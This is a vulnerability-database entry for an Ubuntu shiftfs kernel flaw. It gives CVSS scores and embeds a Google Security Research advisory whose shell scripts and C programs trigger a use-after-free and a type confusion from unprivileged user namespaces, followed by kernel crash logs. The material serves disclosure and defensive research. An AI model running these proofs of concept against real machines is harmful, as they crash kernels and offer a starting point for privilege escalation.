Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-843 |
Access of Resource Using Incompatible Type ('Type Confusion') The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.1 |
7.1 |
HIGH |
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is no loss of confidentiality within the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
|
V3.1 |
7.8 |
HIGH |
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
4.6 |
|
AV:L/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 47693
Publication date : 2019-11-19 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes
Tested on Ubuntu 19.10, kernel "5.3.0-19-generic #20-Ubuntu".
Ubuntu ships a filesystem "shiftfs" in fs/shiftfs.c in the kernel tree that
doesn't exist upstream. This filesystem can be mounted from user namespaces,
meaning that this is attack surface from unprivileged userspace in the default
installation.
There are two memory safety bugs around shiftfs_btrfs_ioctl_fd_replace().
#################### Bug 1: Flawed reference counting ####################
In shiftfs_btrfs_ioctl_fd_replace() ("//" comments added by me):
src = fdget(oldfd);
if (!src.file)
return -EINVAL;
// src holds one reference (assuming multithreaded execution)
ret = shiftfs_real_fdget(src.file, lfd);
// lfd->file is a file* now, but shiftfs_real_fdget didn't take any
// extra references
fdput(src);
// this drops the only reference we were holding on src, and src was
// the only thing holding a reference to lfd->file. lfd->file may be
// dangling at this point.
if (ret)
return ret;
*newfd = get_unused_fd_flags(lfd->file->f_flags);
if (*newfd < 0) {
// always a no-op
fdput(*lfd);
return *newfd;
}
fd_install(*newfd, lfd->file);
// fd_install() consumes a counted reference, but we don't hold any
// counted references. so at this point, if lfd->file hasn't been freed
// yet, its refcount is one lower than it ought to be.
[...]
// the following code is refcount-neutral, so the refcount stays one too
// low.
if (ret)
shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2);
shiftfs_real_fdget() is implemented as follows:
static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
{
struct shiftfs_file_info *file_info = file->private_data;
struct file *realfile = file_info->realfile;
lowerfd->flags = 0;
lowerfd->file = realfile;
/* Did the flags change since open? */
if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
return shiftfs_change_flags(lowerfd->file, file->f_flags);
return 0;
}
Therefore, the following PoC will cause reference count overdecrements; I ran it
with SLUB debugging enabled and got the following splat:
=======================================
user@ubuntu1910vm:~/shiftfs$ cat run.sh
#!/bin/sh
sync
unshare -mUr ./run2.sh
t run2user@ubuntu1910vm:~/shiftfs$ cat run2.sh
#!/bin/sh
set -e
mkdir -p mnt/tmpfs
mkdir -p mnt/shiftfs
mount -t tmpfs none mnt/tmpfs
mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
mount|grep shift
touch mnt/tmpfs/foo
gcc -o ioctl ioctl.c -Wall
./ioctl
user@ubuntu1910vm:~/shiftfs$ cat ioctl.c
#include <sys/ioctl.h>
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <linux/btrfs.h>
#include <sys/mman.h>
int main(void) {
int root = open("mnt/shiftfs", O_RDONLY);
if (root == -1) err(1, "open shiftfs root");
int foofd = openat(root, "foo", O_RDONLY);
if (foofd == -1) err(1, "open foofd");
struct btrfs_ioctl_vol_args iocarg = {
.fd = foofd
};
ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
sleep(1);
void *map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
if (map != MAP_FAILED) munmap(map, 0x1000);
}
user@ubuntu1910vm:~/shiftfs$ ./run.sh
none on /home/user/shiftfs/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
/home/user/shiftfs/mnt/tmpfs on /home/user/shiftfs/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
[ 183.463452] general protection fault: 0000 [#1] SMP PTI
[ 183.467068] CPU: 1 PID: 2473 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
[ 183.472170] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
[ 183.476830] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[ 183.478524] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[ 183.484585] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
[ 183.486290] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
[ 183.489617] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
[ 183.491975] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
[ 183.494311] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
[ 183.496675] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
[ 183.499011] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
[ 183.501679] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 183.503568] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
[ 183.505901] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 183.508229] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 183.510580] Call Trace:
[ 183.511396] mmap_region+0x417/0x670
[ 183.512592] do_mmap+0x3a8/0x580
[ 183.513655] vm_mmap_pgoff+0xcb/0x120
[ 183.514863] ksys_mmap_pgoff+0x1ca/0x2a0
[ 183.516155] __x64_sys_mmap+0x33/0x40
[ 183.517352] do_syscall_64+0x5a/0x130
[ 183.518548] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 183.520196] RIP: 0033:0x7f1d01bfaaf6
[ 183.521372] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61
[ 183.527210] RSP: 002b:00007ffdf50bae98 EFLAGS: 00000246 ORIG_RAX: 0000000000000009
[ 183.529582] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007f1d01bfaaf6
[ 183.531811] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000
[ 183.533999] RBP: 0000000000000000 R08: 0000000000000004 R09: 0000000000000000
[ 183.536199] R10: 0000000000000001 R11: 0000000000000246 R12: 00005616cf6f5140
[ 183.538448] R13: 00007ffdf50bbfb0 R14: 0000000000000000 R15: 0000000000000000
[ 183.540714] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm irqbypass snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core crct10dif_pclmul snd_hwdep crc32_pclmul ghash_clmulni_intel snd_pcm aesni_intel snd_seq_midi snd_seq_midi_event aes_x86_64 crypto_simd snd_rawmidi cryptd joydev input_leds snd_seq glue_helper qxl snd_seq_device snd_timer ttm drm_kms_helper drm snd fb_sys_fops syscopyarea sysfillrect sysimgblt serio_raw qemu_fw_cfg soundcore mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover psmouse ahci i2c_i801 libahci lpc_ich virtio_blk failover
[ 183.560350] ---[ end trace 4a860910803657c2 ]---
[ 183.561832] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[ 183.563496] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[ 183.569438] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
[ 183.571102] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
[ 183.573362] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
[ 183.575655] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
[ 183.577893] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
[ 183.580166] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
[ 183.582411] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
[ 183.584960] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 183.586796] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
[ 183.589035] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 183.591279] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
=======================================
Disassembly of surrounding code:
55 push rbp
4889E5 mov rbp,rsp
4157 push r15
4156 push r14
4155 push r13
4154 push r12
488B87C8000000 mov rax,[rdi+0xc8]
4C8B6810 mov r13,[rax+0x10]
498B4528 mov rax,[r13+0x28]
4883786000 cmp qword [rax+0x60],byte +0x0 <-- GPF HERE
0F8497000000 jz near 0xcc
4989FC mov r12,rdi
4989F6 mov r14,rsi
This is an attempted dereference of 0x6b6b6b6b6b6b6b6b, which is POISON_FREE; I
think this corresponds to the load of "realfile->f_op->mmap" in the source code.
#################### Bug 2: Type confusion ####################
shiftfs_btrfs_ioctl_fd_replace() calls fdget(oldfd), then without further checks
passes the resulting file* into shiftfs_real_fdget(), which does this:
static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
{
struct shiftfs_file_info *file_info = file->private_data;
struct file *realfile = file_info->realfile;
lowerfd->flags = 0;
lowerfd->file = realfile;
/* Did the flags change since open? */
if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
return shiftfs_change_flags(lowerfd->file, file->f_flags);
return 0;
}
file->private_data is a void* that points to a filesystem-dependent type; and
some filesystems even use it to store a type-cast number instead of a pointer.
The implicit cast to a "struct shiftfs_file_info *" can therefore be a bad cast.
As a PoC, here I'm causing a type confusion between struct shiftfs_file_info
(with ->realfile at offset 0x10) and struct mm_struct (with vmacache_seqnum at
offset 0x10), and I use that to cause a memory dereference somewhere around
0x4242:
=======================================
user@ubuntu1910vm:~/shiftfs_confuse$ cat run.sh
#!/bin/sh
sync
unshare -mUr ./run2.sh
user@ubuntu1910vm:~/shiftfs_confuse$ cat run2.sh
#!/bin/sh
set -e
mkdir -p mnt/tmpfs
mkdir -p mnt/shiftfs
mount -t tmpfs none mnt/tmpfs
mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
mount|grep shift
gcc -o ioctl ioctl.c -Wall
./ioctl
user@ubuntu1910vm:~/shiftfs_confuse$ cat ioctl.c
#include <sys/ioctl.h>
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <linux/btrfs.h>
#include <sys/mman.h>
int main(void) {
// make our vmacache sequence number something like 0x4242
for (int i=0; i<0x4242; i++) {
void *x = mmap((void*)0x100000000UL, 0x1000, PROT_READ,
MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
if (x == MAP_FAILED) err(1, "mmap vmacache seqnum");
munmap(x, 0x1000);
}
int root = open("mnt/shiftfs", O_RDONLY);
if (root == -1) err(1, "open shiftfs root");
int foofd = open("/proc/self/environ", O_RDONLY);
if (foofd == -1) err(1, "open foofd");
// trigger the confusion
struct btrfs_ioctl_vol_args iocarg = {
.fd = foofd
};
ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
}
user@ubuntu1910vm:~/shiftfs_confuse$ ./run.sh
none on /home/user/shiftfs_confuse/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
/home/user/shiftfs_confuse/mnt/tmpfs on /home/user/shiftfs_confuse/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
[ 348.103005] BUG: unable to handle page fault for address: 0000000000004289
[ 348.105060] #PF: supervisor read access in kernel mode
[ 348.106573] #PF: error_code(0x0000) - not-present page
[ 348.108102] PGD 0 P4D 0
[ 348.108871] Oops: 0000 [#1] SMP PTI
[ 348.109912] CPU: 6 PID: 2192 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
[ 348.112109] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
[ 348.114460] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
[ 348.116166] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
[ 348.121578] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
[ 348.123097] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
[ 348.125174] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
[ 348.127222] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
[ 348.129288] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
[ 348.131358] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
[ 348.133421] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
[ 348.135753] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 348.137413] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
[ 348.139451] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 348.141516] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 348.143545] Call Trace:
[ 348.144272] shiftfs_ioctl+0x65/0x76 [shiftfs]
[ 348.145562] do_vfs_ioctl+0x407/0x670
[ 348.146620] ? putname+0x4a/0x50
[ 348.147556] ksys_ioctl+0x67/0x90
[ 348.148514] __x64_sys_ioctl+0x1a/0x20
[ 348.149593] do_syscall_64+0x5a/0x130
[ 348.150658] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 348.152108] RIP: 0033:0x7f77fa76767b
[ 348.153140] Code: 0f 1e fa 48 8b 05 15 28 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e5 27 0d 00 f7 d8 64 89 01 48
[ 348.158466] RSP: 002b:00007ffd875582e8 EFLAGS: 00000217 ORIG_RAX: 0000000000000010
[ 348.160610] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f77fa76767b
[ 348.162644] RDX: 00007ffd87558310 RSI: 0000000050009401 RDI: 0000000000000003
[ 348.164680] RBP: 00007ffd87559320 R08: 00000000ffffffff R09: 0000000000000000
[ 348.167456] R10: 0000000000000000 R11: 0000000000000217 R12: 0000561c135ee100
[ 348.169530] R13: 00007ffd87559400 R14: 0000000000000000 R15: 0000000000000000
[ 348.171573] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm snd_hda_codec_generic irqbypass ledtrig_audio crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec ghash_clmulni_intel snd_hda_core snd_hwdep aesni_intel aes_x86_64 snd_pcm crypto_simd cryptd glue_helper snd_seq_midi joydev snd_seq_midi_event snd_rawmidi snd_seq input_leds snd_seq_device snd_timer serio_raw qxl snd ttm drm_kms_helper mac_hid soundcore drm fb_sys_fops syscopyarea sysfillrect qemu_fw_cfg sysimgblt sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid psmouse i2c_i801 ahci virtio_net lpc_ich libahci net_failover failover virtio_blk
[ 348.188617] CR2: 0000000000004289
[ 348.189586] ---[ end trace dad859a1db86d660 ]---
[ 348.190916] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
[ 348.193401] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
[ 348.198713] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
[ 348.200226] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
[ 348.202257] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
[ 348.204294] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
[ 348.206324] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
[ 348.208362] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
[ 348.210395] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
[ 348.212710] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 348.214365] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
[ 348.216409] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 348.218349] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
Killed
user@ubuntu1910vm:~/shiftfs_confuse$
=======================================
Products Mentioned
Configuraton 0
Linux>>Linux_kernel >> Version 5.0
Linux>>Linux_kernel >> Version 5.3
Configuraton 0
Canonical>>Ubuntu_linux >> Version 18.04
Canonical>>Ubuntu_linux >> Version 19.04
References